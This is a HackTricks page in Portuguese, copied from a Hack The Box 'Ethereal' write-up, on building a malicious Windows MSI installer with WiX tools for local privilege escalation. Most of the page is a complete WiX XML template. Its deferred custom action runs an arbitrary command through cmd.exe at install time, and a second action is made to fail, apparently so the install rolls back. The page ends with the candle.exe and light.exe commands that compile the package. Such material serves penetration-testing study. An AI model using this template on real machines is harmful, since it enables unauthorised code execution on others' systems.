hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md

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Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

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Tutorial copiado de https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root
Para criar o msi, usaremos wixtools, você pode usar outros construtores de msi, mas eles não funcionaram para mim.
Confira esta página para alguns exemplos de uso do wix msi.
Vamos criar um msi que executa nosso arquivo lnk:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

Vamos usar candle.exe do wixtools para criar um wixobject a partir de msi.xml

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

Então usaremos light.exe para criar o arquivo msi a partir do wixobject:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)


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